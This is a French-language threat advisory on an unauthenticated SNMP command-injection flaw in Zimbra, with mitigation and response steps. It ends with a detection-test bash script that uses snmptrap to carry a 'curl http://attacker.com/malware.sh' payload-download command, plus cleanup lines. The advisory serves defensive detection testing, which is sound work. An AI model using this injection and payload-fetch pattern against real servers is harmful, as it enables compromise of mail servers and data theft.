CVE-2026-73570 : Injection de Commande Non Authentifiée Ciblant des Serveurs Mail Connectés à Internet

Résumé

Les acteurs de la menace exploitent activement CVE-2026-73570, une vulnérabilité d’injection de commandes OS non authentifiée dans le chemin de notification SNMP de Zimbra Collaboration Suite. Une exploitation réussie peut permettre aux attaquants de déployer des webshells JSP, d’établir des shells inverses et d’escalader les privilèges. La campagne observée combine une distribution automatisée de charge utile avec une activité manuelle ciblée sur le vol de courriels et de données d’authentification.

Enquête

Microsoft Threat Intelligence a suivi l’exploitation par télémétrie et examiné plusieurs étapes de l’attaque, y compris la reconnaissance, l’accès initial, la persistance et l’escalade des privilèges. Les enquêteurs ont observé des sondes hors bande utilisées pour confirmer l’exécution des commandes via des sous-domaines spécifiques. L’analyse a également révélé une escalade complexe des privilèges impliquant les assistants de service Zimbra et plusieurs mécanismes de persistance, y compris les services systemd et les tâches cron.

Atténuation

Les organisations doivent immédiatement mettre à niveau Zimbra Collaboration Suite vers la version 10.1.20 ou ultérieure pour corriger la vulnérabilité. Si la mise à jour ne peut être effectuée rapidement, désinstallez le zimbra-snmp paquet optionnel et désactivez les notifications SNMP. Les équipes de sécurité doivent également restreindre l’accès SMTP et SNMP à des hôtes de confiance et renouveler tous les secrets d’authentification Zimbra.

Réponse

Traitez les alertes de shell inversé sur les serveurs de messagerie exposés à Internet comme des incidents hautement prioritaires nécessitant une portée rapide et une révision des identifiants. Inspectez les répertoires d’applications et de servlets de Zimbra pour le JSP inattendu ou les permissions récemment modifiées. Passez en revue les unités systemd pour d’éventuels changements de propriété ou une activité de falsification d’horodatage, et faites pivoter tous les zimbraPreAuthKey de domaine.

Exécution de Simulation

• Narratif et Commandes de l’Attaque : L’adversaire identifie un serveur de messagerie Zimbra exposé à Internet et exploite une vulnérabilité (CVE-2026-73570) dans le traitement des notifications SNMP. En envoyant un paquet spécialement conçu, il injecte des métacaractères de shell qui provoquent l’exécution d’une commande par le service SNMP. L’objectif de l’attaquant est de télécharger une charge utile secondaire pour établir la persistance. Il utilise curl pour récupérer un script à partir d’un serveur distant, ce qui devrait déclencher la Commande|contient : curl logique dans la règle de détection.

• Script de Test de Régression :

  #!/bin/bash
  # Simulation de l'exploitation de CVE-2026-73570 via injection de trappe SNMP
  # Ce script simule l'injection d'une commande 'curl' dans un message de trappe SNMP.
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # La charge utile malveillante destinée à être captée par la règle
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] Simulation de l'injection de commande via la trappe SNMP..."
  
  # Nous utilisons snmptrap pour imiter l'arrivée d'une trappe conçue contenant la chaîne 'curl'
  # Dans une véritable exploitation, cela serait envoyé via un paquet SMTP/SNMP mal formé
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] Commande de simulation envoyée. Vérifiez SIEM pour l'alerte : Injection de commande non authentifiée via SNMP dans Zimbra"

• Commandes de Nettoyage :

  # Supprimez tous les fichiers créés pendant la simulation (le cas échéant)
  rm -f /tmp/malware.sh
  echo "[+] Nettoyage terminé."